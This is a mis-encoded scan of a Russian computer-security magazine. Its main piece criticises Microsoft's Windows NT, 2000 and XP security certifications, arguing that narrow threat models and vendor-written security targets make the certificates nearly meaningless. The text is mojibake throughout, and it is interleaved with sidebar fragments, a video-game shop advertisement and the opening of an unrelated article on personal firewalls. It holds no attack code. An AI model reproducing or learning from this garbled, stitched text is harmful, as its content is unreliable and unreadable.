âîäÿùèå ê ñáîÿì è íåêîððåêòíîé
ðàáîòå òåñòèðóåìîé ïðîãðàììû, è
ïðîñòî îðôîãðàôè÷åñêèå îøèáêè â
ìåíþ è ñïðàâêå. Íî íà áåçîïàñ-
íîñòü ýòè îøèáêè âëèÿþò ìàëî. Áî-
ëåå òîãî, ïðîãðàììà ìîæåò ðàáî-
òàòü èäåàëüíî, íî áûòü àáñîëþòíî
íåçàùèùåííîé. Ïðåäñòàâü, ÷òî
ïðîãðàììà øèôðîâàíèÿ PGP õðà-
íèò ñåêðåòíûé êëþ÷ øèôðîâàíèÿ â
êîðíå äèñêà C: è ýòîò êëþ÷ âû÷èñ-
ëÿåòñÿ çà ïàðó ñåêóíä íà îáû÷íîé
ïåðñîíàëêå. Ïî áåòà-òåñòèðîâàíèþ,
â ýòîì íåò íè÷åãî ïðåäîñóäèòåëü-
íîãî. À âîò ñ òî÷êè çðåíèÿ òåñòèðî-
âàíèÿ íà áåçîïàñíîñòü ýòî êëþ÷å-
âûå äûðû, ñâîäÿùèå íà íåò ýôôåê-
òèâíîñòü òåñòèðóåìîé ñèñòåìû.

Î ÊÐÈÒÅÐÈßÕ
Ñèñòåìà îáû÷íî òåñòèðóåòñÿ íå

ñëó÷àéíûì îáðàçîì, à íà ñîîòâåò-
ñòâèå çàðàíåå îïðåäåëåííûì êðè-
òåðèÿì ïî ÷åòêîé ìåòîäèêå. Â Ðîñ-
ñèè ñåé÷àñ äåéñòâóåò äâà íàáîðà
òàêèõ êðèòåðèåâ: óæå óñòàðåâøèå
Ðóêîâîäÿùèå äîêóìåíòû Ãîñòåõêî-
ìèññèè è òàê íàçûâàåìûå "Îáùèå
êðèòåðèè", ââåäåííûå â äåéñòâèå ñ
1 ÿíâàðÿ 2004 ãîäà. Â ýòèõ äîêó-
ìåíòàõ ïðîïèñàíû òðåáîâàíèÿ ê

ìåõàíèçìàì çàùèòû, îáÿçàííûì
ïðèñóòñòâîâàòü â òåñòèðóåìûõ
ñðåäñòâàõ. Äîêóìåíòîâ, âõîäÿùèõ
â "Îáùèå êðèòåðèè", ìíîãî. Ýòî áî-
ëåå äåñÿòêà ïðîôèëåé çàùèòû ïîä
êàæäûé èç ðàñïðîñòðàíåííûõ êëàñ-
ñîâ ïðîãðàììíûõ ñðåäñòâ: îïåðàöè-
îííûå ñèñòåìû, áàçû äàííûõ, ìåæ-
ñåòåâûå ýêðàíû (firewall) è ò.ä. Ðó-
êîâîäÿùèå äîêóìåíòû Ãîñòåõêî-
ìèññèè êëàññèôèöèðîâàëèñü àíà-
ëîãè÷íî. Íî ñåé÷àñ ïîäõîä ñòàë áî-
ëåå ãèáêèì. Åñëè âèäíî, ÷òî ïîä
êîíêðåòíûé ïðîôèëü òû íå ïîäïà-
äàåøü, òî ìîæíî ñîçäàòü çàäàíèå
ïî áåçîïàñíîñòè, â êîòîðîì óêà-
æåøü òîëüêî òå òðåáîâàíèÿ, íà ñî-
îòâåòñòâèå êîòîðûì òû è áóäåøü
òåñòèðîâàòü ñâîþ ñèñòåìó.

Íî òàêîé ïîäõîä íåñåò â ñåáå î÷å-
âèäíóþ óãðîçó: ïðîèçâîäèòåëü ìî-
æåò, íàïðèìåð, íàïèñàòü çàäàíèå, â
êîòîðîì áóäåò âñåãî îäíî òðåáîâà-
íèå, è ïðîâîäèòü òåñòèðîâàíèå íà
ñîîòâåòñòâèå åìó. Ñåðòèôèêàöèîí-
íàÿ ëàáîðàòîðèÿ ïîëó÷èò äåíüãè çà
ïðîâåðêó, ïðîèçâîäèòåëü ïîëó÷èò
çàâåòíóþ áóìàãó. Òîëüêî ïîòðåáèòå-
ëÿ íèêòî íå áóäåò ñïðàøèâàòü, óñò-
ðàèâàåò ëè åãî äûðÿâûé ñîôò. À ñàì
îí ïðîâåðèòü åãî, ê ñîæàëåíèþ, îêà-
æåòñÿ íå â ñîñòîÿíèè.

Ñ Windows XP ïðîèçîøëà èìåííî
òàêàÿ ñèòóàöèÿ. Íå èìåÿ âîçìîæ-
íîñòè ñåðòèôèöèðîâàòü ïî âûñî-
êîìó êëàññó çàùèòû, Microsoft
ðàçðàáîòàëà ñâîå çàäàíèå ïî áå-
çîïàñíîñòè è ïðîâåëà ñåðòèôèêà-
öèþ Windows XP Professional
Service Pack 1a "íà ñîîòâåòñòâèå
ðåàëèçîâàííûõ â îïåðàöèîííîé
ñèñòåìå ôóíêöèé çàùèòû è çàäåê-
ëàðèðîâàííûõ â çàäàíèè ïî áåçî-
ïàñíîñòè". Âäóìàéñÿ â ýòó ôîðìó-
ëèðîâêó. Òåñòèðîâàëèñü íå ìåõà-
íèçìû çàùèòû, à ñîîòâåòñòâèå èõ
ðåàëüíîãî íàëè÷èÿ íîìåíêëàòóðå,
óêàçàííîé â äîêóìåíòàöèè. Ìîæíî
ëè óäèâëÿòüñÿ òîìó, ÷òî ñ ìîìåíòà
ïîëó÷åíèÿ ñåðòèôèêàòà â
Windows XP â íà÷àëå ýòîãî ãîäà
áûëî îáíàðóæåíî íà ìîìåíò íàïè-
ñàíèÿ ýòîé ñòàòüè 37 äûð (ïî äàí-
íûì Security Focus).

Åùå îäèí àñïåêò, ñâÿçàííûé ñ "Îá-
ùèìè êðèòåðèÿìè". Â íèõ ââîäèòñÿ
òàêîå ïîíÿòèå, êàê "ìîäåëü óãðîç",
èëè "ìîäåëü íàðóøèòåëÿ". Òû ïðî-
âåðÿåøü íå ïðîñòî íàëè÷èå ìåõà-
íèçìîâ çàùèòû, à âîçìîæíîñòü èõ
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Ïî÷åìó íåëüçÿ ïðîâåðèòü âñå âîçìîæíûå êîíôèãóðàöèè òåñòè-
ðóåìîé ñèñòåìû? Âñïîìíè øêîëüíûé êóðñ êîìáèíàòîðèêè. Ó ñèñ-
òåìû ñ 10 íàñòðîéêàìè ïî 2 âîçìîæíûõ âàðèàíòà áóäåò 1024 ðàç-
ëè÷íûõ êîíôèãóðàöèé. Ó ñèñòåìû ñ 20 íàñòðîéêàìè ïî 2 âîçìîæ-
íûõ âàðèàíòà áóäåò 1048576 ðàçëè÷íûõ êîíôèãóðàöèé. Òåïåðü
ïðåäñòàâü, ÷òî íàñòðîåê íåñêîëüêî ñîòåí è äëÿ êàæäîé ÷èñëî âîç-
ìîæíûõ âàðèàíòîâ áîëüøå 2. Ìîæíî ëè ïðîâåðèòü âñå ñîñòîÿíèÿ
ðàáîòû òàêîé ñèñòåìû?

Ñåðòèôèêàöèîííàÿ ëàáîðàòîðèÿ ïîëó÷èò
äåíüãè çà ïðîâåðêó, ïðîèçâîäèòåëü ïîëó÷èò

çàâåòíóþ áóìàãó.



ýôôåêòèâíîé ðàáîòû ïî ïðåîäîëå-
íèþ êîíêðåòíûõ óãðîç, êîòîðûå ìî-
ãóò áûòü íàïðàâëåíû íà çàùèùàå-
ìóþ ñèñòåìó. Î÷åâèäíî, ÷òî ÷åì
áîëüøå óãðîç, òåì ñëîæíåå ïîäñèñ-
òåìà çàùèòû è ïðîöåññ åå ïðîâåðêè
è ñåðòèôèêàöèè. Microsoft è òóò îò-
ëè÷èëàñü. Ñìîòðèì çàäàíèå ïî áåçî-
ïàñíîñòè (â êîòîðîì è ïðîïèñûâàåò-
ñÿ ýòà ñàìàÿ ìîäåëü óãðîç) íà ÎÑ
Windows 2000. ×òî æå ìû âèäèì? Îò
êàêèõ óãðîç çàùèùàåò Windows
2000 (ïî ìíåíèþ Microsoft)? Èõ âñå-
ãî 9 (!):

ôàëüñèôèêàöèÿ èëè ïîòåðÿ ñî-
áûòèé, õðàíèìûõ â æóðíàëå ðåãèñò-
ðàöèè;

ôàëüñèôèêàöèÿ èëè ïîòåðÿ
êîíôèãóðàöèîííûõ è èíûõ êðèòè÷-
íûõ äàííûõ;

íåñàíêöèîíèðîâàííûé äîñòóï ê
äàííûì, îñòàâøèìñÿ îò ïðåäûäóùèõ
ïîëüçîâàòåëåé (íàïðèìåð, â ôàéëå
ïîäêà÷êè èëè âðåìåííûõ ôàéëàõ);

ìàñêèðîâêà ïîä àâòîðèçîâàííî-
ãî ïîëüçîâàòåëÿ;

íåñàíêöèîíèðîâàííûé äîñòóï ê
ñèñòåìå ñ ïðàâàìè àäìèíèñòðàòîðà;

íåñàíêöèîíèðîâàííûé äîñòóï ê
ñèñòåìíûì äàííûì;

ìîäèôèêàöèÿ ïîäñèñòåìû çàùè-
òû ÎÑ;

âûâîä èç ñòðîÿ ñèñòåìû ðåãèñò-
ðàöèè ñîáûòèé;

ôàëüñèôèêàöèÿ ïîëüçîâà-
òåëüñêèõ äàííûõ.

Ñòîèò ëè êîììåíòèðîâàòü ýòîò "îã-
ðîìíûé" ñïèñîê? Ïî÷åìó èìåííî îò
ýòèõ óãðîç çàùèùåíà Windows
2000? Ìîæåò, ïîòîìó, ÷òî ýòî áûëî
ïðîùå âñåãî ñäåëàòü? Â ìîäåëè íà-
ðóøèòåëÿ ñåðòèôèöèðîâàííîé
Windows XP åùå ìåíüøå óãðîç - 5.
DoS-àòàêè âîîáùå íå ðàññìàòðèâà-
þòñÿ êàê óãðîçà äëÿ îïåðàöèîííîé
ñèñòåìû MS. 

Â îãðàíè÷åíèÿõ ê ñåðòèôèêàòó
÷åòêî íàïèñàíî, ÷òî Microsoft íå íå-
ñåò îòâåòñòâåííîñòè çà âñå, ÷òî òâî-

ðèòñÿ çà ïðåäåëàìè Windows 2000.
Ïåðåõâàò òðàôèêà? Ïîæàëóéñòà.
Óòå÷êà ÷åðåç èíôðàêðàñíûé ïîðò,
Bluetooth, Wi-Fi-àäàïòåð èëè flash-
äèñê? Ïîæàëóéñòà. Êñòàòè, ïîñëåä-
íèå òðè ïåðèôåðèéíûõ óñòðîéñòâà
âîîáùå íå óêàçàíû â ñïèñêå ðàçðå-
øåííûõ íà ñåðòèôèöèðîâàííûõ ìà-
øèíàõ Windows 2000. Õîðîøî, ÷òî
õîòü ñåòåâóþ êàðòó ìîæíî èñïîëü-
çîâàòü :). À òî ïîëó÷èëîñü áû êàê ñ
ñåðòèôèêàòîì íà Windows NT 3.51.
"Çàùèòíûé" ñåðòèôèêàò áûë, íî...
òîëüêî ïðè óñëîâèè îòñóòñòâèÿ äèñ-
êîâîäîâ è ñåòåâîé êàðòû. È êîìó
áûë íóæåí òàêîé çàùèùåííûé
êîìïüþòåð? Áîëåå òîãî, â îãðàíè÷å-
íèÿõ òàêæå óêàçàíî, ÷òî âñå êîìïü-
þòåðû, ñ êîòîðûìè ìîæåò âçàèìî-
äåéñòâîâàòü ñåðòèôèöèðîâàííûé
ýêçåìïëÿð Windows, ìîãóò íàõî-
äèòüñÿ òîëüêî â êîíòðîëèðóåìîé
çîíå (ýòî â èíòåðíåòå-òî?), íà íèõ
äîëæíû ðàñïðîñòðàíÿòüñÿ òå æå ñà-
ìûå òðåáîâàíèÿ ïîëèòèêè áåçîïàñ-
íîñòè, à èõ ïîëüçîâàòåëè äîëæíû
ïðîéòè ïðîâåðêó íà áëàãîíàäåæ-
íîñòü. Ñîâñåì îòîðâàííûå îò æèçíè
òðåáîâàíèÿ!

Íà ìãíîâåíèå ïðåäñòàâü íåâîç-
ìîæíîå: ñîáëþäåíû âñå îãðàíè÷å-
íèÿ, è Windows 2000 çàùèùåíà îò
óãðîç, íå ïîêðûâàåìûõ ñåðòèôèêà-
òîì. Ðàäîñòíî ïîòèðàÿ ðóêè, òû ñ÷è-
òàåøü, ÷òî òåïåðü òâîÿ ñåòü íàäåæ-
íî çàùèùåíà, èáî ýòî ïîäòâåðæäåíî
ñåðòèôèêàòîì. Ðàíî ðàäîâàòüñÿ.
Îñîáåííîñòü ñåðòèôèêàöèè Windows
2000 â òîì, ÷òî ïðîâåðêå ïîäâåðãà-
åòñÿ íå òîëüêî ÎÑ, íî è êîìïüþòåð,
íà êîòîðóþ îíà óñòàíàâëèâàåòñÿ. À,
ñëåäîâàòåëüíî, óñòàíîâêà W2k íà
ëþáóþ äðóãóþ æåëåçêó ïðèâîäèò ê
àííóëèðîâàíèþ ñåðòèôèêàòà, â êî-
òîðîì ÷åòêî ïðîïèñàíû ìîäåëè
êîìïüþòåðîâ: Compaq Proliant
ML570 è ML330, Compaq
Professional Workstation AP550, Dell
Optiplex GX400, Dell PE 2500,
6450, 2550 è 1550.

È ïîñëåäíèé ïîäâîäíûé êàìåíü.
Ìîæíî ëè ïðîâåñòè ñåðüåçíóþ ïðî-
âåðêó íà çàùèùåííîñòü áåç äîñòóïà
ê èñõîäíûì òåêñòàì, òåì áîëåå äëÿ
îïåðàöèîííîé ñèñòåìû? Îòâåò ÿñåí.
Îäíàêî Microsoft îòëè÷èëàñü è òóò.
Ñåðòèôèêàöèÿ Windows XP áûëà
áëåñòÿùå ïðîâåäåíà áåç îíûõ, òàê
êàê óðîâåíü äîâåðèÿ (åùå îäèí òåð-
ìèí èç "Îáùèõ êðèòåðèåâ") ê áåçî-
ïàñíîñòè îïåðàöèîííîé ñèñòåìû íå
ïðåäïîëàãàë àíàëèçà èñõîäíûõ òåêñ-
òîâ ïðîãðàìì.

Î ÂÐÅÌÅÍÈ
Î÷åâèäíî, ÷òî ÷åì îáúåìíåé

àíàëèçèðóåìûé ïðîäóêò, òåì äîëüøå
ïðîöåññ àíàëèçà. Ïåðâàÿ ðîññèéñ-
êàÿ ñåðòèôèêàöèÿ Windows NT è MS
SQL Server äëèëàñü 3 ãîäà, êàê è
ñåðòèôèêàöèÿ Windows 2000 çà ðó-
áåæîì. À âîò Windows XP íàøè "ñïå-
öèàëèñòû" îñâîèëè çà 10 ìåñÿöåâ.

Çà âðåìÿ, òðåáóåìîå íà ñåðòèôèêà-
öèþ, îïåðàöèîííàÿ ñèñòåìà óñïåâà-
åò îáíîâèòüñÿ îäíèì èëè äâóìÿ
Service Pack�àìè, à òàêæå âîçìîæåí
âàðèàíò, êîãäà ïîÿâëåíèå ñåðòèôè-
êàòà ñîâïàäåò ñ âûõîäîì íîâîé âåð-
ñèè ÎÑ. Íàïðèìåð, âïîëíå âåðîÿòíî,
÷òî çàâåðøåíèå çàòåÿííîé ñåðòèôè-
êàöèè Windows 2003 ïî ñðîêàì ñîâ-
ïàäåò ñ âûõîäîì Longhorn.
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Îñîáåííîñòü ñåðòèôèêàöèè Windows 2000 â
òîì, ÷òî ïðîâåðêå ïîäâåðãàåòñÿ íå òîëüêî

ÎÑ, íî è êîìïüþòåð.

Çà âðåìÿ, òðåáóåìîå íà ñåðòèôèêàöèþ, 
îïåðàöèîííàÿ ñèñòåìà 
óñïåâàåò îáíîâèòüñÿ 
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Ïî ñëîâàì
Áèëëà Ãåéò-
ñà, êîìïà-
íèÿ
Microsoft
çàòðàòèëà
500 ÷åëî-
âåêî-ëåò íà
òî, ÷òîáû
ñäåëàòü
Windows
2000 áåçî-
ïàñíîé è
íàäåæíîé
îïåðàöèîí-
íîé ñèñòå-
ìîé.

Îñåíüþ
2003 ãîäà
ñåìü èçâå-
ñòíûõ ñïå-
öèàëèñòîâ
ïî èíôîð-
ìàöèîííîé
áåçîïàñíîñ-
òè íàïðàâè-
ëè â ïðàâè-
òåëüñòâî
ÑØÀ äîê-
ëàä, â êîòî-
ðîì ãîâîðè-
ëîñü, ÷òî
ïðîäóêöèÿ
Microsoft
ïðåäñòàâëÿ-
åò óãðîçó
íàöèîíàëü-
íîé áåçî-
ïàñíîñòè.
Áóêâàëüíî
ñðàçó ïîñëå
ïóáëèêàöèè
ýòîãî äîê-
ëàäà îäèí
èç åãî àâòî-
ðîâ, òåõíè-
÷åñêèé äè-
ðåêòîð
@Stake Äýí
Ãèð, áûë
óâîëåí.

×èñëî ñòðîê êîäà â ðàçíûõ âåðñèÿõ Windows:

- Windows 2000 - 35 ìèëëèîíîâ
- Windows XP - 50 ìèëëèîíîâ

Ïî äàííûì èíñòèòóòà Êàðíåãè-Ìåëëîíà, íà 1000 ñòðîê êîäà ïðîã-
ðàììû ïðèõîäèòñÿ îò 5 äî 15 îøèáîê, êîòîðûå íèêàê íå ïðîÿâëÿ-
þòñÿ è íå íàðóøàþò ôóíêöèîíèðîâàíèÿ ñèñòåìû.

Âîò ÷òî ìû ÷èòàåì íà îôèöèàëüíîì ñàéòå Ãîñòåõêîìèññèè
(www.gostexkom.ru): «Ãîñóäàðñòâåííàÿ òåõíè÷åñêàÿ êîìèññèÿ
Ðîññèè ÿâëÿåòñÿ ôåäåðàëüíûì îðãàíîì èñïîëíèòåëüíîé âëàñòè,
îñóùåñòâëÿþùèì ìåæîòðàñëåâóþ êîîðäèíàöèþ è ôóíêöèîíàëü-
íîå ðåãóëèðîâàíèå äåÿòåëüíîñòè ïî îáåñïå÷åíèþ çàùèòû (íåê-
ðèïòîãðàôè÷åñêèìè ìåòîäàìè) èíôîðìàöèè, ñîäåðæàùåé ñâåäå-
íèÿ, ñîñòàâëÿþùèå ãîñóäàðñòâåííóþ èëè ñëóæåáíóþ òàéíó, îò åå
óòå÷êè ïî òåõíè÷åñêèì êàíàëàì, îò íåñàíêöèîíèðîâàííîãî äîñòó-
ïà ê íåé, îò ñïåöèàëüíûõ âîçäåéñòâèé íà èíôîðìàöèþ è ïî ïðîòè-
âîäåéñòâèþ òåõíè÷åñêèì ñðåäñòâàì ðàçâåäêè íà òåððèòîðèè Ðîñ-
ñèéñêîé Ôåäåðàöèè».



Î ËÞÄßÕ
Âñå, äàæå ñàìûå ñåðüåçíûå, ìå-

õàíèçìû çàùèòû íå ñïîñîáíû ïðî-
òèâîñòîÿòü ÷åëîâå÷åñêîé ãëóïîñòè
è íåêîìïåòåíòíîñòè. Áóäåøü õðà-
íèòü ñåêðåòíûå êëþ÷è â êîðíåâîì
ðàçäåëå äèñêà èëè âûáåðåøü ïóñ-
òîé ïàðîëü äëÿ ñâîåé ó÷åòíîé çàïè-
ñè, è áåçîïàñíîñòü ñàìîé íàäåæíîé
è ñåðòèôèöèðîâàííîé ñèñòåìû áó-
äåò ðàâíà íóëþ :).

À êòî ïðîâîäèò ñåðòèôèêàöèþ?
Òå æå ëþäè, êîòîðûå õîòÿò ïîëó-
÷àòü äîñòîéíóþ çàðïëàòó è êâàëè-
ôèêàöèÿ êîòîðûõ äîëæíà áûòü íå
íèæå òîé, êîòîðîé îáëàäàþò ðàç-
ðàáîò÷èêè òåñòèðóåìîãî ÏÎ. Äîñ-
òàòî÷íî èíòåðåñíà äèñêóññèÿ, ðàç-
âåðíóâøàÿñÿ íà ôîðóìå ñàéòà
sec.ru. Â íåé ñîòðóäíèê ñåðòèôèêà-
öèîííîé ëàáîðàòîðèè äåëèòñÿ ñåê-
ðåòàìè ñâîåé êóõíè, èç ÷åãî ñòàíî-
âèòñÿ ÿñíî, êàê ïðîâîäèòñÿ ó íàñ
ñåðòèôèêàöèÿ è ÷åãî ñòîÿò ïîëó-
÷åííûå ñåðòèôèêàòû.

ÈÑÒÎÐÈß ÂÎÏÐÎÑÀ
Â Ðîññèè Microsoft óæå íåîäíîê-

ðàòíî ïðîõîäèëà ïî ýòîé äîðîæêå.
Ïåðâûé ðàç ýòî ïðîèçîøëî â äàëå-
êîì 1999 ãîäó, êîãäà ðîññèéñêîå
ïðåäñòàâèòåëüñòâî ïðîãðàììíîãî
ãèãàíòà ñåðòèôèöèðîâàëî 3 ñâîèõ
ïðîäóêòà: Windows NT Server 4.0,
Windows NT Workstation 4.0 è MS
SQL Server 6.5. Ðàáîòà ýòà âåëàñü â
èíòåðåñàõ Ìèíàòîìà Ðîññèè â ðàì-
êàõ ñîãëàøåíèé ñ Ìèíèñòåðñòâîì
Ýíåðãåòèêè ÑØÀ ïî êîíòðîëþ çà íå-
ðàñïðîñòðàíåíèåì ÿäåðíûõ ìàòåðè-
àëîâ. Ñåé ïðîöåññ äëèëñÿ 3 ãîäà è
çàâåðøèëñÿ 18 ìàðòà 1999 ãîäà ïî-
ëó÷åíèåì ñåðòèôèêàòîâ Ãîñòåõêî-
ìèññèè Ðîññèè.

Íàäî ñêàçàòü, ÷òî ãîðàçäî ðàíüøå
Windows NT 3.51 áûëà ñåðòèôèöèðî-
âàíà â Àìåðèêå ïî óðîâíþ C2, íî,
ó÷èòûâàÿ «ðàñïðîñòðàíåííîñòü»
ýòîé âåðñèè â Ðîññèè, ìîæíî î íåé
ñìåëî çàáûòü.

Â êîíöå îêòÿáðÿ 2002 ãîäà êîðïî-
ðàöèÿ Microsoft îáúÿâèëà î ïîëó÷å-
íèè ïëàòôîðìîé Microsoft Windows
2000 (Professional, Server è
Advanced Server) ñåðòèôèêàòà íà ñî-
îòâåòñòâèå çàïàäíîé ðåäàêöèè «Îá-
ùèõ êðèòåðèåâ». Ñåðòèôèêàöèÿ øëà
îêîëî 3 ëåò.

27 ìàðòà ïðîøëîãî ãîäà áûë íà÷àò
ïðîöåññ ñåðòèôèêàöèè Windows XP
è Windows 2003 Server íà ñîîòâåò-
ñòâèå «Îáùèì êðèòåðèÿì». 12 ôåâ-
ðàëÿ ýòîãî ãîäà ñåðòèôèêàöèÿ
Windows XP áûëà óñïåøíî çàâåðøå-
íà, à ñåðòèôèêàöèÿ Windows 2003
ïðîäîëæàåòñÿ. Çíàÿ ñðîêè ñåðòèôè-

êàöèè NT è 2000, ìîæíî ïðåäïîëî-
æèòü, ÷òî è Windows 2003 áóäóò ïðî-
âåðÿòü íå ìåíåå 3 ëåò � æäàòü îñòà-
ëîñü äâà ãîäà :).

Â ÈÒÎÃÅ
Íåñìîòðÿ íà âñå çàÿâëåíèÿ

Microsoft î ïîâûøåíèè óðîâíÿ çà-
ùèùåííîñòè åå èçäåëèé è ïîëó÷å-
íèå èìè ñåðòèôèêàòîâ ñîîòâåòñòâèÿ
òðåáîâàíèÿì ïî áåçîïàñíîñòè, ñèòó-
àöèÿ íå òàêàÿ ðàäóæíàÿ. Íåêîòîðûå
âñåìèðíî èçâåñòíûå ñïåöèàëèñòû
(ñðåäè íèõ è Áðþñ Øíàéåð) îáâèíÿ-
þò êîìïàíèþ, âîçãëàâëÿåìóþ Áèë-
ëîì Ãåéòñîì, â ñîçäàíèè óãðîçû íà-
öèîíàëüíîé áåçîïàñíîñòè. À êòî-òî
èäåò äàëüøå, ñðàâíèâàÿ ðîñò èíñ-
òàëëÿöèé ÎÑ Windows ñî ñòèõèéíûì
áåäñòâèåì.

Èçâåñòíàÿ íåçàâèñèìàÿ êîíñàëòèí-
ãîâàÿ êîìïàíèÿ Gartner Group
(www.gartner.com) íå îñòàëàñü â ñòîðî-
íå îò ýòîé ïðîáëåìû è íåîäíîêðàòíî
ðåêîìåíäîâàëà âñåì ïîëüçîâàòåëÿì
îòêàçàòüñÿ îò ðåøåíèé êîìïàíèè
Microsoft ïî ïðè÷èíå èõ íèçêîé çà-
ùèùåííîñòè:

19 ñåíòÿáðÿ 2001 ãîäà � ïîñëå
ýïèäåìèè Nimda;

15 ìàÿ 2003 ãîäà � ïîñëå îáíà-
ðóæåíèÿ äûðû â Microsoft Passport;

12 àâãóñòà 2004 ãîäà � ïîñëå çà-
ÿâëåíèÿ î âûïóñêå Windows XP
Starter Edition.

Ïðèçûâàòü ê ýòîìó, êîíå÷íî, ãëó-
ïî, òàê êàê íåò íè îäíîé ïî-íàñòî-
ÿùåìó çàùèùåííîé îïåðàöèîí-
íîé ñèñòåìû. Íî è ðàññ÷èòûâàòü,
÷òî äàæå ñåðòèôèöèðîâàííûå ýê-
çåìïëÿðû ýòîé ÎÑ áóäóò çàùèùå-
íû ëó÷øå, ÷åì âñå îñòàëüíûå, íå-
ðàçóìíî. Ïîýòîìó, êàê âñåãäà, îñ-
òàåòñÿ íàäåÿòüñÿ òîëüêî íà ñåáÿ:
ñâîåâðåìåííî ïàò÷èòü ñèñòåìó,
óñòàíîâèòü è ðåãóëÿðíî îáíîâ-
ëÿòü àíòèâèðóñ è ïåðñîíàëüíûé
ìåæñåòåâîé ýêðàí - íåâçèðàÿ íà
«íåçàâèñèìûå» áóìàãè è çàÿâëå-
íèÿ ïðîèçâîäèòåëÿ î çàùèùåí-
íîñòè åãî òâîðåíèé. E
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Ñåðòèôèêàò
¹844, âû-
äàííûé ïî
ðåçóëüòà-
òàì ñåðòè-
ôèêàöèîí-
íûõ èñïû-
òàíèé,
ïîäòâåðæ-
äàåò, ÷òî
îïåðàöèîí-
íàÿ ñèñòåìà
Microsoft
Windows XP
Professional
(Service
Pack 1a) ñî-
îòâåòñòâóåò
çàäàíèþ ïî
áåçîïàñíîñ-
òè
MS.Win_XP_
SP1a.ÇÁ è
èìååò îöå-
íî÷íûé
óðîâåíü äî-
âåðèÿ ÎÓÄ1,
óñèëåííûé
êîìïîíåí-
òîì
AVA_SOF.1.

Ïî äàííûì
SANS
Internet
Storm
Center
(www.isc.sa
ns.org),
ñðåäíåå
âðåìÿ ìåæ-
äó ïîäêëþ-
÷åíèåì íå-
ïàò÷åíîé
ìàøèíû ñ
Windows ê
èíòåðíåòó è
äî ìîìåíòà
àòàêè íà
íåå èëè çà-
ðàæåíèÿ
÷åðâåì ñîñ-
òàâëÿåò
âñåãî 16 ìè-
íóò.

ÑÅÐÒÈÔÈÊÀÖÈß ÏÐÎÃÐÀÌÌ ÎÒ MICROSOFT94 ÇÀÙÈÒÀ

×èñëî äûð â óæå ñåðòèôèöèðîâàííûõ âåðñèÿõ Windows (ïî
äàííûì Security Focus íà ìîìåíò íàïèñàíèÿ ñòàòüè):

- Windows NT Workstation � 107
- Windows NT Server � 117
- Windows 2000 Professional � 97
- Windows 2000 Server � 45
- Windows 2000 Advanced Server � 103
- Windows XP Professional - 37

W W W

www.sec.ru/forum2__1.cfm?posa=1&stpa=10&threadid=
716&read=1&stp=20&pos=1& - îáñóæäåíèå ðîññèéñêîé ñèñòåìû
ñåðòèôèêàöèè.

www.niap.nist.gov/cc-scheme - âñå îá «Îáùèõ êðèòåðèÿõ».
www.altx.ru - ñàéò ñòðîèòåëüíîé êîìïàíèè «Àëòýêñ-Ñòðîé»,

çàíèìàþùåéñÿ ïîñëåïðîäàæíûì îáñëóæèâàíèåì
ñåðòèôèöèðîâàííîé ÎÑ Windows XP.

www.microsoft.com/rus/general/press/1999/march/sertifica-
tion.htm - ñåðòèôèêàöèÿ Windows NT â 1999 ãîäó.

www.microsoft.com/rus/security/articles/common_criteria/
intro.mspx - ñåðòèôèêàöèÿ Windows 2000 â 2002 ãîäó.

www.microsoft.com/rus/news/issue.asp?12-02-2004-win-
dowsxp.xml � ñåðòèôèêàöèÿ Windows XP â 2004 ãîäó.

www.gostexkom.ru - îôèöèàëüíûé ñàéò Ãîñòåõêîìèññèè.

12 ôåâðàëÿ ýòîãî ãîäà ñåðòèôèêàöèÿ
Windows XP áûëà óñïåøíî çàâåðøåíà, à

ñåðòèôèêàöèÿ Windows 2003 ïðîäîëæàåòñÿ.

Âñå, äàæå ñàìûå ñåðüåçíûå, ìåõàíèçìû
çàùèòû íå ñïîñîáíû ïðîòèâîñòîÿòü

÷åëîâå÷åñêîé ãëóïîñòè è íåêîìïåòåíòíîñòè.



Â ííàøåì ììàãàçèíå ââàñ
æäåò ááîëåå 11000 èèãð 
íà ââàø ââûáîð

Ïîñòîÿííî    
îáíîâëÿåìûé 
àññîðòèìåíò

×åì ááîëüøå,
òåì ääåøåâëå!
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$75,99
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$79,99
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$22,99
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$59,99
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$85,99
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$69,99
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$79,99

SSttaarr WWaarrss GGaallaaxxiieess:: 
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$59,99 
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$59,99
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$79,99
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$59,99
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$59,99
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Â ïîñëåäíåå âðåìÿ áîëüøîå ðàñïðîñòðàíåíèå ïîëó÷èëè ïåðñîíàëüíûå ìåæñåòåâûå ýêðàíû (èíà÷å «áðàíäìàóýðû»,
«ôàåðâîëû»). Îíè ïîçâîëÿþò çàùèòèòü ðàáî÷èå ñòàíöèè îò ïðîíèêíîâåíèÿ íà íèõ âðåäîíîñíîãî êîäà, à òàêæå îò

óòå÷êè èíôîðìàöèè ÷åðåç òðîÿíñêèå ïðîãðàììû. 

ÇÀÙÈÒÀ ÑÍÀÐÓÆÈ
È ÈÇÍÓÒÐÈ
ÏÅÐÑÎÍÀËÜÍÛÅ ÔÀÅÐÂÎËÛ

äíàêî, êàê ëþáîå ñðåä-
ñòâî çàùèòû, ôàåðâîë
äåëàåò òîëüêî òî, ÷òî â
íåãî çàëîæèë ðàçðà-
áîò÷èê. Âîò îñíîâíûå

ôóíêöèè, êîòîðûå ðåàëèçóþò ïåðñî-
íàëüíûå ÌÑÝ: 

ôèëüòðàöèÿ òðàôèêà íà ñåòåâîì
óðîâíå

ôèëüòðàöèÿ ñîäåðæèìîãî ïðèêëàä-
íûõ ïðîòîêîëîâ

îãðàíè÷åíèå ñåòåâîé àêòèâíîñòè
ïðèëîæåíèé è êîíòðîëü óòå÷êè äàííûõ

ÔÈËÜÒÐÀÖÈß ÒÐÀÔÈÊÀ ÍÀ
ÑÅÒÅÂÎÌ ÓÐÎÂÍÅ

Îñíîâíîé çàùèòíûé ìåõàíèçì, êî-
òîðûé ðåàëèçóåò ëþáîé ìåæñåòåâîé
ýêðàí, - ôèëüòðàöèÿ òðàôèêà. Ôèëüò-
ðàöèÿ ïðåäïîëàãàåò àíàëèç ïàêåòîâ,
ïðîõîäÿùèõ ñ îäíîãî èíòåðôåéñà
ìåæñåòåâîãî ýêðàíà íà äðóãîé, ñ
öåëüþ ïðîâåðêè íà ñîîòâåòñòâèå ïî-
ëèòèêå áåçîïàñíîñòè. Â ñëó÷àå åñëè
ïàêåò ñîîòâåòñòâóåò ðàçðåøàþùåìó
ïðàâèëó, îí ðåòðàíñëèðóåòñÿ ìåæñå-
òåâûì ýêðàíîì, èíà÷å - îòáðàñûâàåò-
ñÿ. Â çàâèñèìîñòè îò ãëóáèíû ïðîâåð-
êè ïåðåäàâàåìûõ äàííûõ, à òàêæå êðè-
